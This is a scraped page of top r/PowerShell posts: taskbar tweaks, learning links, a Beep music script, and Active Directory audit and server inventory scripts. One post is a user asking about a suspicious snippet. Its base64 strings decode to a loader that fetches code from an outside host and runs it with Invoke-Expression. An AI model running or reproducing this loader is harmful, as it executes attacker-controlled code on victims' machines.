r/PowerShell • u/ixi_your_face • Jun 25 '21
Script Sharing I've went and found the registry key for taskbar alignment in W11, for anyone who doesn't like the centered shenanigans.
r/PowerShell • u/ixi_your_face • Jun 25 '21
r/PowerShell • u/PinkDraconian • Nov 24 '20
r/PowerShell • u/Trakeen • Sep 16 '22
TLDR: Attacker gained access by annoying admin user with MFA prompts. Attacker signed in as User who had access to powershell scripts that had credentials in them.
What I've used in the past is to have Powershell scripts run as azure functions. The function is given limited access to a keyvault and uses those credentials to sign in. Even better if the Powershell script doesn't need to sign in and can do it's job purely by giving it appropriate access to the required resources in Azure (using a managed identity). In a situation where on prem access is needed, a local solution like Thycotic secret server can be used to retrieve stored keys. Hopefully the user who is making the script doesn't have access to keys in production; only the user that the script runs under should have access. Credential authentication inside a powershell script can also be used to secure access in an on prem environment.
If you know security and some dev knowledge you have a good career ahead of you. Even the big boys can't do it right, apparently.
r/PowerShell • u/ThomasMaurerCH • May 19 '20
r/PowerShell • u/mdowst • Sep 18 '19
My 8 year old decided to pretend to be sick so he would get sent home from school the other day. So after we finished all the work the teach gave us, I decided to make him some extra work. Since they are learning double digit addition I wrote a quick script that will generate a page with 25 problems on it. I kept printing him off new sheets until the end of the regular school day.
I thought I'd share it in case anyone else has a 2nd grader who likes to play hooky. https://www.dowst.dev/homework-double-digit-addition-without-carrying/
Does anyone else have any examples of parenting through PowerShell?
r/PowerShell • u/mistajingsta • Jul 01 '20
r/PowerShell • u/thebeersgoodnbelgium • Jul 04 '19
I found an archived post asking about this, and wanted to share my answer. I finally did figure it out after digging through a few scripts online. No ActiveX, no IE required. And is xplat compatible.
Screenshots:



The screenshots are from my own module, dbatools, but I also shared a generic gist that works with no other requirements.
https://gist.github.com/potatoqualitee/b5ed9d584c79f4b662ec38bd63e70a2d
Not all scenarios can be taken care of by WSUS or SCCM. So when you gotta do it manually, this script comes in super handy for downloads.
r/PowerShell • u/confuzed_1 • Apr 13 '18
r/PowerShell • u/The-Dark-Jedi • Mar 30 '22
Just got off a support call with a MS Engineer. He shared with me that Microsoft is looking to get rid of PowerShell ISE in the next three to five years.
I swear they get together for beer on Friday and say "Hey, you want to know what will really piss people off?", then do it after a good hearty laugh.
r/PowerShell • u/nepronen • Jun 29 '20
I've been working on this for so long, I can't believe I can finally post this :D
I just released a WPF Designer for Powershell at poshgui.com
It's free, so you can just head to the site and play around with it
It supports:
- Drag and drop designer
- Properties Panel
- Events
- DataContext Binding
- Out of the box theming
- XAML Panel with live reload
- Listview Templates and DataTemplates
and more
There is a long term roadmap available, what's coming are things like:
- Out of the box Multithreading using run spaces
- Windows 10 Toast Designer
- Project templates
- More themes
- Features allowing easy creation without knowing much of WPF
It's an Alpha version, I'm sure it still has some bugs which will be fixed when I'm notified about them
I want to thank everybody in this community for your support as you are the reason this project exists :)
4 Years ago I released an ugly, crappy web app as a side project, not expecting anyone to use it
It was support from this subreddit that led to a complete rewrite of the app, with more than 23 000 people using it
The most requested feature was to add WPF support.
I'm very happy to tell, that after 1,5 year of hard work, I can finally tell you it's here :)
and it has much more power and functionality than the WinForms one :)
r/PowerShell • u/MartianMoon • Jan 13 '20
r/PowerShell • u/[deleted] • Aug 16 '19
Hey Guys,
So I have been aggregating links and ways to help people start with PowerShell.
Tell me what you think of this so far. I know there are plenty of links/info out there. Just thought maybe more of it in one post might help out, especially on a Friday when people may want to give it a shot over the weekend.
Links to Learning Material:
PowerShell Live Challenges/Practice
· https://github.com/vexx32/PSKoans
· https://adventofcode.com/2018/about
· https://github.com/Sudoblark/Powershell_Intro_Training
PowerShell Cmdlet to Function
· https://youtu.be/48Ff3A83u0E
· http://ramblingcookiemonster.github.io/Building-PowerShell-Functions-Best-Practices/
· https://devblogs.microsoft.com/scripting/powershell-best-practices-advanced-functions/
· https://www.red-gate.com/simple-talk/sql/sql-tools/the-posh-dba-grown-up-powershell-functions/
· https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ff677563(v=msdn.10)
· https://docs.microsoft.com/en-us/previous-versions/technet-magazine/hh413265(v=msdn.10)
· https://learn-powershell.net/2013/05/07/tips-on-implementing-pipeline-support/
Collection Type Guidance
· https://gist.github.com/kevinblumenfeld/4a698dbc90272a336ed9367b11d91f1c
Style-Guide
· https://github.com/PoshCode/PowerShellPracticeAndStyle
Windows PowerShell Survival Guide
Validating parameters
· https://docs.microsoft.com/en-us/previous-versions//dd347600(v=technet.10)?redirectedfrom=MSDN
Reddit Links to More PowerShell Areas of Learning
· https://www.reddit.com/r/PowerShell/comments/98dw5v/need_beginner_level_script_ideas_to_learn
· https://www.reddit.com/r/PowerShell/comments/7oir35/help_with_teaching_others_powershell
· https://www.reddit.com/r/PowerShell/comments/98qkzn/powershell_advice
· https://www.reddit.com/r/PowerShell/comments/96rn7y/college_level_student_looking_for_a_good_online
· https://www.reddit.com/r/PowerShell/comments/99dc5d/powershell_for_a_noob
Tutorial on Arrays, HashTables, and Collection Items
· https://blog.netwrix.com/2018/10/04/powershell-variables-and-arrays/
· https://evotec.xyz/powershell-few-tricks-about-hashtable-and-array-i-wish-i-knew-when-i-started/amp/
Scopes
Creating GUI's
· https://www.gngrninja.com/script-ninja/2016/12/23/powershell-configure-your-scripts-with-a-gui
· https://lazyadmin.nl/powershell/powershell-gui-howto-get-started/
· https://www.reddit.com/r/PowerShell/comments/a7fyt8/wpf_guis_for_beginners/
Dynamic Progress Bar Helper
· https://adamtheautomator.com/building-progress-bar-powershell-scripts/
Dealing with Passwords
Securely Store Credentials on Disk
· http://www.powershellcookbook.com/recipe/PukO/securely-store-credentials-on-disk
Quickly and securely storing your credentials – PowerShell
· https://www.jaapbrasser.com/quickly-and-securely-storing-your-credentials-powershell
Working with Passwords, Secure Strings and Credentials in Windows PowerShell
Powershell: How to encrypt and store credentials securely for use with automation scripts
Using saved credentials securely in PowerShell scripts
· https://blog.kloud.com.au/2016/04/21/using-saved-credentials-securely-in-powershell-scripts
Secure Password with PowerShell: Encrypting Credentials
· https://www.pdq.com/blog/secure-password-with-powershell-encrypting-credentials-part-1
· https://www.pdq.com/blog/secure-password-with-powershell-encrypting-credentials-part-2
Encrypting Passwords in Scripts: The Ultimate Best Practice Guide for Powershell
· https://thesysadminchannel.com/passwords-in-scripts-the-ultimate-best-practice-guide
SecureString encryption
· https://powershell.org/forums/topic/securestring-encryption
How To Save and Read Sensitive Data with PowerShell
· https://mcpmag.com/articles/2017/07/20/save-and-read-sensitive-data-with-powershell.aspx
Encrypt Password and use it in Powershell Script
· https://gallery.technet.microsoft.com/scriptcenter/Encrypt-Password-and-use-dd07f253
How to secure your passwords with PowerShell
· https://www.sqlshack.com/how-to-secure-your-passwords-with-powershell
Script Secure Password using Powershell
· https://gallery.technet.microsoft.com/scriptcenter/Secure-Password-using-c158a888
Store encrypted password in a PowerShell script
· https://blog.ctglobalservices.com/powershell/rja/store-encrypted-password-in-a-powershell-script
How to run a PowerShell script against multiple Active Directory domains with different credentials
Credential Manager-Using Credential Manager in PowerShell
· https://bitsofwater.com/2018/02/16/using-credential-manager-in-powershell
Accessing Windows Credentials Manager from PowerShell
· https://gallery.technet.microsoft.com/scriptcenter/Accessing-Windows-7210ae91
Provides access to credentials in the Windows Credential Manager
· https://www.powershellgallery.com/packages/CredentialManager/1.0
Get-CredentialFromWindowsCredentialManager.ps1
· https://gist.github.com/cdhunt/5729126
Registry-Save Encrypted Passwords to Registry for PowerShell
· https://www.spjeff.com/2016/08/17/save-encrypted-passwords-to-registry-for-powershell
Module Creation
· https://docs.microsoft.com/en-us/powershell/developer/module/how-to-write-a-powershell-script-module
· https://adamtheautomator.com/powershell-modules/
· https://powershellexplained.com/2017-05-27-Powershell-module-building-basics/
PowerShell Gotchas
· https://github.com/nightroman/PowerShellTraps
Website Full of PowerShell Ideas
· https://www.thecodeasylum.com
Microsoft Virtual Academy:
· https://mva.microsoft.com/liveevents/powershell-jumpstart
· https://mva.microsoft.com/search/SearchResults.aspx#!q=PowerShell&lang=1033
· https://mva.microsoft.com/en-us/training-courses/getting-started-with-microsoft-powershell-8276
API Testing:
Subreddits:
· https://www.reddit.com/r/usefulscripts/
· https://www.reddit.com/r/sysadmin/
· https://www.reddit.com/r/scripting/
· https://www.reddit.com/r/WSUS/
· https://www.reddit.com/r/PowerShell/
Blogs:
· https://learn-powershell.net
· https://adamtheautomator.com
· http://ramblingcookiemonster.github.io/
· https://powershellexplained.com/
· https://blogs.technet.microsoft.com/heyscriptingguy
YouTube:
· https://www.youtube.com/user/powershelldon
· MVA series for Powershell 3.0 with Snover
· https://www.youtube.com/watch?v=wrSlfAfZ49E
· https://www.youtube.com/results?search_query=powershell+ise+scripting+for+beginners
· https://www.youtube.com/playlist?list=PL6D474E721138865A
· https://www.youtube.com/channel/UCFgZ8AxNf1Bd1C6V5-Vx7kA
Books:
Learn PowerShell in a month of lunches book [always get the newest version]
· blogs.technet.microsoft.com/pstips/2014/05/26/free-powershell-ebooks
· rkeithhill.wordpress.com/2009/03/08/effective-windows-powershell-the-free-ebook
· veeam.com/wp-powershell-newbies-start-powershell.html
· reddit.com/r/PowerShell/comments/3cki73/free_powershell_reference_ebooks_for_download
IDE:
· https://code.visualstudio.com/download
Useful Extensions:
Bracket Organizer
· https://marketplace.visualstudio.com/items?itemName=CoenraadS.bracket-pair-colorizer-2
PowerShell
· https://marketplace.visualstudio.com/items?itemName=ms-vscode.PowerShell
XML
· https://marketplace.visualstudio.com/items?itemName=DotJoshJohnson.xml
Reg
· https://marketplace.visualstudio.com/items?itemName=ionutvmi.reg
Git History
· https://marketplace.visualstudio.com/items?itemName=donjayamanne.githistory
Helpful Commands:
Get-Help
especially Get-Help *about*
Get-Command
it takes wildcards, so Get-Command *csv* works nicely. that is especially helpful when you are seeking a cmdlet that works on a specific thing. Comma Separated Value files, for instance. [grin]
Show-Command
that brings up a window that has all the current cmdlets and all their options ready for you to pick from.
it will also take another cmdlet, or advanced function, as a parameter to limit things to showing just that item.
auto-completion
try starting a word and tapping the tab key. some nifty stuff shows up.
Intellisense
save something to a $Var and then try typing the $Var name plus a period to trigger intellisense. there are some very interesting things that show up as properties or methods.
check out the builtin code snippets in the ISE
use <ctrl><j>, or Edit/Start-Snippets from the menu.
assign something to a $Variable & pipe that to Get-Member
$Test = Get-ChildItem -LiteralPath $env:TEMP
$Test | Get-Member
assign something to a $Variable and pipe it to Select-Object
$Test = Get-ChildItem -LiteralPath $env:TEMP
$Test[0] | Select-Object -Property *
that will give you a smaller, more focused list of properties for the 1st item in the $Test array.
assign something to a $Variable & use .GetType() on it
$Test = Get-ChildItem -LiteralPath $env:TEMP
$Test.GetType()
$Test[0].GetType()
the 1st will give you info on the container $Var [an array object].
the 2nd will give you info on the zero-th item in the $Var [a DirectoryInfo object].
Get-Verb
as with Get-Command, it will accept wildcards.
that will show you some interesting cmdlets. then use get-command to see what commands use those verbs. then use get-help to see what the cmdlets do.
Out-GridView
it's a bit more than you likely want just now, but it can accept a list of items, present them in a window, allow picking one or more of them, and finally send it out to the next cmdlet.
r/PowerShell • u/mjr4077au • Mar 16 '24
Could be the simplest of things. For me, it's that Validation attributes work on variable declarations and not just in parameter blocks.
PS C:\Users\mjr40> [ValidateNotNullOrEmpty()][System.String]$str = 'value'
PS C:\Users\mjr40> $str = ''
The variable cannot be validated because the value is not a valid value for the str variable.
At line:1 char:1
+ $str = ''
+ ~~~~~~~~~
+ CategoryInfo : MetadataError: (:) [], ValidationMetadataException
+ FullyQualifiedErrorId : ValidateSetFailure
PS C:\Users\mjr40>r/PowerShell • u/TheAlmightyOS • Nov 14 '19
r/PowerShell • u/wrktrway • Jul 06 '18
It all started when a coworker shared an article (which I sadly cannot find anymore) about the evolution of the Beep() method in computers and why the Beep does not come from your motherboard speaker anymore (because it taking up space in MOBO firmware, now it's in the OS).
Then I realized you could call the method for Beep() in PowerShell!
[Console]::Beep(400,400)Any like many others I immediately googled around to find songs people have made. There are even a few custom C# functions to help write songs easier, but they all seemed pretty short hand or just a chain of the simple beep commands.
So I wrote my own script to allow you to write songs faster using 'standard' musical notation!
If you want to test it out, you can play the song "Still Alive" from Portal by copying it from the README.md!
When I get time, I plan to:
Add a param for key changes
Make output paste-able so you can embed songs into scripts easier
Let me know what y'all think and please share any songs you make today during your lunch time.. have fun! ;)
EDIT: For the lazy, copy and paste the following into PowerShell!
Function Play-Notes {
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true)]
[string]$Notes,
[Parameter(Mandatory = $false)]
[int]$Tempo,
[Parameter(Mandatory = $false)]
[switch]$Output = $false
)
$NoteTypes = [pscustomobject]@{
# W = Whole, H = Half, Q = Quarter, E = Eighth, S = Sixteenth
'W'=1600;'W.'=2000;'H'=800;'H.'=1000;'Q'=400;'Q.'=600;'E'=200;'E.'=300;'S'=100;'S.'=150
}
$NoteIndex = [pscustomobject]@{
'C' = @(16.35,32.7,65.41,130.8,261.6,523.3,1047,2093,4186)
'C#' = @(17.32,34.65,69.3,138.6,277.2,554.4,1109,2217,4435)
'D' = @(18.35,36.71,73.42,146.8,293.7,587.3,1175,2349,4699)
'Eb' = @(19.45,38.89,77.78,155.6,311.1,622.3,1245,2489,4978)
'E' = @(20.6,41.2,82.41,164.8,329.6,659.3,1319,2637,5274)
'F' = @(21.83,43.65,87.31,174.6,349.2,698.5,1397,2794,5588)
'F#' = @(23.12,46.25,92.5,185,370,740,1480,2960,5920)
'G' = @(24.5,49,98,196,392,784,1568,3136,6272)
'G#' = @(25.96,51.91,103.8,207.7,415.3,830.6,1661,3322,6645)
'A' = @(27.5,55,110,220,440,880,1760,3520,7040)
'Bb' = @(29.14,58.27,116.5,233.1,466.2,932.3,1865,3729,7459)
'B' = @(30.87,61.74,123.5,246.9,493.9,987.8,1976,3951,7902)
'R' = '0'
}
foreach ($Note in ($Notes -split ',')){
$Note -match '(?<Pitch>[A-G][#|b]?|[R])(?<Octave>[0-8])?(?<NoteType>[Ww|Hh|Qq|Ee|Ss][\.]?)?' | Out-Null
$Pitch = $matches['Pitch']
if($matches['NoteType'] -eq $null){
if($Tempo){
[int]$Durration = 100/$Tempo*400
}else{
[int]$Durration = 400
}
}else{
if($Tempo){
[int]$Durration = 100/$Tempo*($NoteTypes.$($matches['NoteType']))
}else{
[int]$Durration = $NoteTypes.$($matches['NoteType'])
}
}
[int]$Frequency = switch ($matches['Octave']) {
0 {$NoteIndex.$Pitch} # Beep() does not support any frequencies lower than 38
1 {$NoteIndex.$Pitch | Where-Object {$_ -ge 32 -and $_ -le 62}} # using <38 for Rests
2 {$NoteIndex.$Pitch | Where-Object {$_ -ge 65 -and $_ -le 124}}
3 {$NoteIndex.$Pitch | Where-Object {$_ -ge 130 -and $_ -le 247}}
4 {$NoteIndex.$Pitch | Where-Object {$_ -ge 261 -and $_ -le 494}}
5 {$NoteIndex.$Pitch | Where-Object {$_ -ge 523 -and $_ -le 988}}
6 {$NoteIndex.$Pitch | Where-Object {$_ -ge 1047 -and $_ -le 1978}}
7 {$NoteIndex.$Pitch | Where-Object {$_ -ge 2093 -and $_ -le 3952}}
8 {$NoteIndex.$Pitch | Where-Object {$_ -ge 4186 -and $_ -le 7902}}
default {$NoteIndex.$Pitch | Where-Object {$_ -ge 523 -and $_ -le 988}}
}
if($Output){
($Pitch+$matches['Octave']+$matches['NoteType']+' - '+"${Durration}"+' - '+"${Frequency}")
}
if($Pitch -eq 'R'){
Start-Sleep -Milliseconds $Durration
}
else{
[console]::beep($Frequency,$Durration)
}
$Note = $null
$Pitch = $null
$Durration = $null
$Frequency = $null
}
$Tempo = $null
}
Play-Notes -Notes "R0H,G6E,F#6E,E6E,E6E,F#6H,R0H,R0Q,R0E,A5E,G6E,F#6E,E6E,E6E,F#6Q.,D6Q,E6E"
Play-Notes -Notes "A5H,R5E,R0Q.,A5E,E6Q,F#6E,G6Q.,E6E,C#6Q,D6Q.,E6Q,A5E,A5Q,F#6Q.,R0H"
Play-Notes -Notes "R0H,G6E,F#6E,E6E,E6E,F#6H,R0H,R0Q,R0E,A5E,G6E,F#6E,E6E,E6Q,F#6E,D6Q.,E6E"
Play-Notes -Notes "A5H,R5E,R0Q.,E6Q,F#6E,G6Q.,E6E,C#6Q.,D6E,E6Q,A5E,D6E,E6E"
Play-Notes -Notes "F6E,E6E,D6E,C6E,R0Q,A5E,Bb5E,C6Q,F6Q,E6E,D6E,D6E,C6E,D6E,C6E,C6Q,C6Q,A5E,Bb5E"
Play-Notes -Notes "C6Q,F6Q,G6E,F6E,E6E,D6E,D6E,E6E,F6Q,F6Q,G6E,A6E,Bb6E,Bb6E,A6Q,G6Q,F6E,G6E"
Play-Notes -Notes "A6E,A6E,G6Q,F6Q,D6E,C6E,D6E,F6E,F6E,E6Q,E6E,F#6E,F#6Q."
Play-Notes -Notes "A6E,A6E,G6Q,F6Q,D6E,C6E,D6E,F6E,F6E,E6Q,E6E,F#6E,F#6H"
Play-Notes -Notes "G6E,A6E,A6Q,R0Q,R0E,G6E,F#6E,F#6Q"
Play-Notes -Notes "G6E,A6E,A6Q,R0Q,R0E,G6E,F#6E,F#6Q"r/PowerShell • u/brogrammer2018 • Jan 03 '18
r/PowerShell • u/thegooddoctor-b • Jan 03 '23
Sorry for the shameless self-promotion, but I have been interacting on the sub for so long that I wanted to share this project with yall. I wanted to do a different angle than normal code sites that aim to teach. What I like to do us deep dive into cmdlets and structures, figure out how they really work, and even show how they don't work in situations. I think it's different than any other code site I've used. Hope yall can take a look and get some useful info from it.
r/PowerShell • u/baseilus • May 16 '24
$FDNS = "aXBjb25maWcgL2ZsdXNoZG5z";
$CONSOLE = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($FDNS));
Invoke-Expression $CONSOLE;
$ERROR_FIX = "U2V0LUNsaXBib2FyZCAtVmFsdWUgIiAiOw==";
$FIX = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ERROR_FIX));
Invoke-Expression $FIX;
$RET = "CiRnOTFGID0gJ2h0dHBzOi8vcnRhdHRhY2suYmFxZWJlaTEub25saW5lL0tCL0NPREQnOwokdjM4SyA9IEB7ICdVc2VyLUFnZW50JyA9ICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTAyLjAuMC4wIFNhZmFyaS81MzcuMzYnIH07CiR6MDRRID0gSW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkZzkxRiAtVXNlQmFzaWNQYXJzaW5nIC1IZWFkZXJzICR2MzhLOwoKSUVYIChbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkejA0US5Db250ZW50KSk7CgpjbGVhci1ob3N0Ow==";
$UI = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($RET));
Invoke-Expression $UI;
exit;
i dont dare to run it seem suspiciousr/PowerShell • u/PRIdEVisions • Apr 18 '18
Just a quick powertip here whenever you get this message on a client's computer: "The trust relationship between this workstation and the primary domain failed" Normally you would have to remove the device from the domain, reboot, add to the domain, reboot to get this fixed.
Don't forget we have a great cmdlet for this and there is no need to reboot at all!
Run Powershell using an account which has the rights to add the machine to the domain and:
Test-ComputerSecureChannel -repair99% of the times this works.
Have a good day Powershellers!
r/PowerShell • u/MadBoyEvo • Jan 06 '19
Looking back at my 2018 stats - https://evotec.xyz/sixteen-powershell-modules-that-ive-worked-on-in-2018/
Creating those 16 modules allowed me to achieve my goals for 2018. Hope you enjoy them as much I did.
r/PowerShell • u/dwillson1 • Dec 28 '24
I realized this question is rhetorical and ego stroking. I have found that knowing PowerShell makes me an asset at work. I am able to create reports and do tasks that others cannot. I have also been brought into several projects because of my knowledge.
Recently I had some coworkers jokingly tell me that the GUI was faster. A task that took them days to do I was able to figure out the logic with PowerShell in an hour. Now I can do thousands of their task at a time in a few minutes. They were impressed.
I am curious if others in the community has had similar experiences?
r/PowerShell • u/[deleted] • Jun 30 '20
Figure out what locked a user in AD by using this script, the output will return a username, endpoint device that locked the user, what DC received the event & a timestamp.
$DC = Get-ADDomainController -Filter * | Select Hostname
$properties = @(
@{n='User';e={$_.Properties[0].Value}},
@{n='Locked by';e={$_.Properties[1].Value}},
@{n='TimeStamp';e={$_.TimeCreated}},
@{n='DCName';e={$_.Properties[4].Value}}
)
Foreach ($D in $DC)
{
Get-WinEvent -ComputerName $D.Hostname -FilterHashTable @{LogName='Security'; ID=4740} |
Select $properties
}2. Figure out who shutdown a server, if it was by a user or an application did it. The output will return timestamp, user, reason they wrote & if it was a shutdown or reboot
$properties = @(
@{n='TimeStamp';e={$_.TimeCreated}},
@{n='User';e={$_.Properties[6].Value}},
@{n='Reason/Application';e={$_.Properties[0].Value}},
@{n='Action';e={$_.Properties[4].Value}}
)
Get-WinEvent -FilterHashTable @{LogName='System'; ID=1074} |
Select $properties | Sort-Object "$_.TimeCreated"3. A minor script to gather OS information from servers on your domain the output will return;
Servername, OS, RAM, Free space on C, and totalsize of C, can easily add more drives to monitor / gather information from.
$Serverlist = Get-ADComputer -Filter * -Properties OperatingSystem, DnsHostname | Where OperatingSystem -Like "*Server*" | Select DnsHostname
$MasterList = @()
foreach ($Server in $Serverlist) {
$MyObject = New-Object PSObject -Property @{
Servername = $Server.DnsHostname
OS = (Get-CimInstance -ComputerName $Server.DnsHostname -ClassName Win32_OperatingSystem).Caption
RAM = (Invoke-command $Server.DnsHostname {(systeminfo | Select-String 'Total Physical Memory:').ToString().Split(':')[1].Trim()})
CFreeGB = (Invoke-Command $Server.DnsHostname {(Get-WmiObject win32_logicaldisk -Filter "DeviceID='C:'").FreeSpace / 1gb -as [int]})
CTotalGB = (Invoke-Command $Server.DnsHostname {(Get-WmiObject win32_logicaldisk -Filter "DeviceID='C:'").Size / 1gb -as [int]})
}
$MasterList += $MyObject
}
# Select fields in a specific order rather than random.
$MasterList | Select Servername, OS, RAM, CTotalGB, CFreeGB | Export-csv C:\Users\$env:username\Desktop\ServerOverview.csv -NoTypeInformation -Encoding Unicode4. This script will prompt you for a servername, when entered it will create 2 AD-groups
"Servername Remote" & "Servername Admin" and give it the needed descriptions to differenciate between the two. When the group is created it will remote powershell to the server you entered and add the groups into the respective local groups so "Servername remote" goes into "Remote desktop users" and "Servername admin" goes into "Administrators" local groups. This way it is easy to manage who have access to what, and fast to create.
$ServerName = Read-host 'Enter servername'
New-ADGroup -Name "$ServerName Remote" -Description "Remote Desktop permissions to $ServerName" -GroupCategory Security -GroupScope Global -Path "OU=Groups,DC=domain,DC=com"
New-ADGroup -Name "$ServerName Admin" -Description "Local administrator permissions to $ServerName" -GroupCategory Security -GroupScope Global -Path "OU=Groups,DC=domain,DC=com"
Timeout 5
Invoke-Command $ServerName -ScriptBlock {Net Localgroup "Remote Desktop Users" "domain.com\$Using:ServerName Remote" /add}
Invoke-Command $ServerName -ScriptBlock {Net Localgroup Administrators "domain.com\$Using:ServerName Admin" /add}